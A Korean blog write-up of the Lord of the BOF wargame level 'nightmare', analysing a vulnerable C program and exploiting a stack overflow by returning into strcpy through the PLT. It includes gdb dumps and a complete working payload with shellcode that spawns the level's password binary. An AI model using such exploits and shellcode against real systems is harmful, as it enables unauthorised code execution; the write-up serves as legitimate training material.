1. intro
2. code 및 분석
2.1. C code
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
2.2. 분석
strcpy의 주소를 addr에 넣고, 삽입 되었는지 확인한 뒤 strcpy 함수로 argv[1] 값을 buffer에 넣은 뒤 출력한다.
그리고 종료되기 직전에 buffer + 40 + 8 위치, 즉 ret address 직후 값을 AAAA로 덮어버린다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
코드 상 addr 값이 strcpy여야 하기 때문에 ret address는 곧 strcpy 값이 된다.
그러므로 ret 시 strcpy가 한번 더 실행된다는 것이다.
다만 재 실행된 strcpy는 stack내 특정 위치를 참조해서 다시 값을 복사하려 할 것인데 이를 이용해서 특정 위치에 특정 값을 덮어씌울 수 있을 것이다.
3.2. 공격 준비
프로그램의 흐름대로 흘러가보자.
결국 main 종료 시 strcpy 함수가 실행된다.
그러므로 eip는 strcpy 함수의 주소가 될 것이며, 이를 따라가보면 strcpy plt 에서 got으로, 그리고 실제 strcpy 함수의 코드로 넘어간다.
(gdb) x/x $eip
0x8048410 <strcpy>: 0x987825ff
(gdb) x/i $eip
0x8048410 <strcpy>: jmp *0x8049878
(gdb) x/x 0x8049878
0x8049878 <_GLOBAL_OFFSET_TABLE_+44>: 0x400767b0
(gdb) x/x 0x400767b0
0x400767b0 <strcpy>: 0x56e58955
(gdb) x/40i 0x400767b0
0x400767b0 <strcpy>: push %ebp
0x400767b1 <strcpy+1>: mov %esp,%ebp
0x400767b3 <strcpy+3>: push %esi
0x400767b4 <strcpy+4>: mov 0x8(%ebp),%esi
0x400767b7 <strcpy+7>: mov 0xc(%ebp),%edx
0x400767ba <strcpy+10>: mov %esi,%eax
0x400767bc <strcpy+12>: sub %edx,%eax
0x400767be <strcpy+14>: lea 0xffffffff(%eax),%ecx
0x400767c1 <strcpy+17>: mov (%edx),%al
0x400767c3 <strcpy+19>: inc %edx
0x400767c4 <strcpy+20>: mov %al,(%ecx,%edx,1)
0x400767c7 <strcpy+23>: test %al,%al
0x400767c9 <strcpy+25>: jne 0x400767c1 <strcpy+17>
0x400767cb <strcpy+27>: mov %esi,%eax
0x400767cd <strcpy+29>: mov 0xfffffffc(%ebp),%esi
0x400767d0 <strcpy+32>: leave
0x400767d1 <strcpy+33>: ret
strcpy 실행 시 stack의 모양은 아래와 같기에
(gdb) x/40x $esp
0xbffffad0: 0x41414141 0x32323232 0x33333333 0x34343434
0xbffffae0: 0x35353535 0x08048400 0x00000000 0x08048441
0xbffffaf0: 0x080486b4 0x00000002 0xbffffb14 0x08048350
0xbffffb00: 0x0804877c 0x4000ae60 0xbffffb0c 0x40013e90
0xbffffb10: 0x00000002 0xbffffc07 0xbffffc20 0x00000000
0xbffffb20: 0xbffffc65 0xbffffc78 0xbffffc90 0xbffffcaf
0xbffffb30: 0xbffffcd1 0xbffffcdf 0xbffffea2 0xbffffec1
0xbffffb40: 0xbffffedf 0xbffffef4 0xbfffff14 0xbfffff1f
0xbffffb50: 0xbfffff30 0xbfffff38 0xbfffff49 0xbfffff53
0xbffffb60: 0xbfffff61 0xbfffff72 0xbfffff80 0xbfffff8b
결국 strcpy 함수 내의
0x400767b4 <strcpy+4>: mov 0x8(%ebp),%esi
0x400767b7 <strcpy+7>: mov 0xc(%ebp),%edx
부분은 esi = 0x32323232, edx = 0x33333333로 만들어주고 strcpy 함수의 역할대로 복사해준 뒤 다시 leave, ret으로 종료된다.
strcpy 함수가 종료될때는 다시 stack을 참조해서 return 할테고, 여기서 strcpy 진입 시의 stack의 모양과 같아질테니 결국 0x41414141로 return하려 할 것이다.
즉, 0x41414141 위치의 값이 shellcode 시작 위치라면 shellcode를 실행해줄 것이다.
이에 따라 페이로드를 작성해보면 아래와 같다.
dummy 44 bytes + strcpy address 4 bytes (main ret) + dummy 4 bytes + dest address 4 bytes (dummy 4 bytes 위치) + src address 4 bytes (shellcode address 위치) + shellcode address 4 bytes (실제 shellcode 위치) + shellcode
4. exploit
한번 시도 후 offset 반영.
[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "BBBB" + "\x70\xfa\xff\xbf" + "\x7c\xfa\xff\xbf" + "\x74\xfa\xff\xbf" + "\x90"*26 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "E"*(100-30-28)'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp▒▒▒|▒▒▒t▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
̀EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
Illegal instruction
[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "BBBB" + "\x70\xfa\xff\xbf" + "\x7c\xfa\xff\xbf" + "\x84\xfa\xff\xbf" + "\x90"*26 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "E"*(100-30-28)'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp▒▒▒|▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
̀EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
euid = 518
beg for me
마지막에 E는 test 겸 넣었는데, 해당 크기가 변경되면 offset도 변경되기 때문에 그대로 살려둠.
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] xavius -> death_night (0) | 2022.09.26 |
---|---|
[lob] nightmare -> xavius (0) | 2022.09.21 |
[lob] zombie_assassin -> succubus (0) | 2022.09.16 |
[lob] assassin -> zombie_assassin (0) | 2022.09.16 |
[lob] giant -> assassin (0) | 2022.09.16 |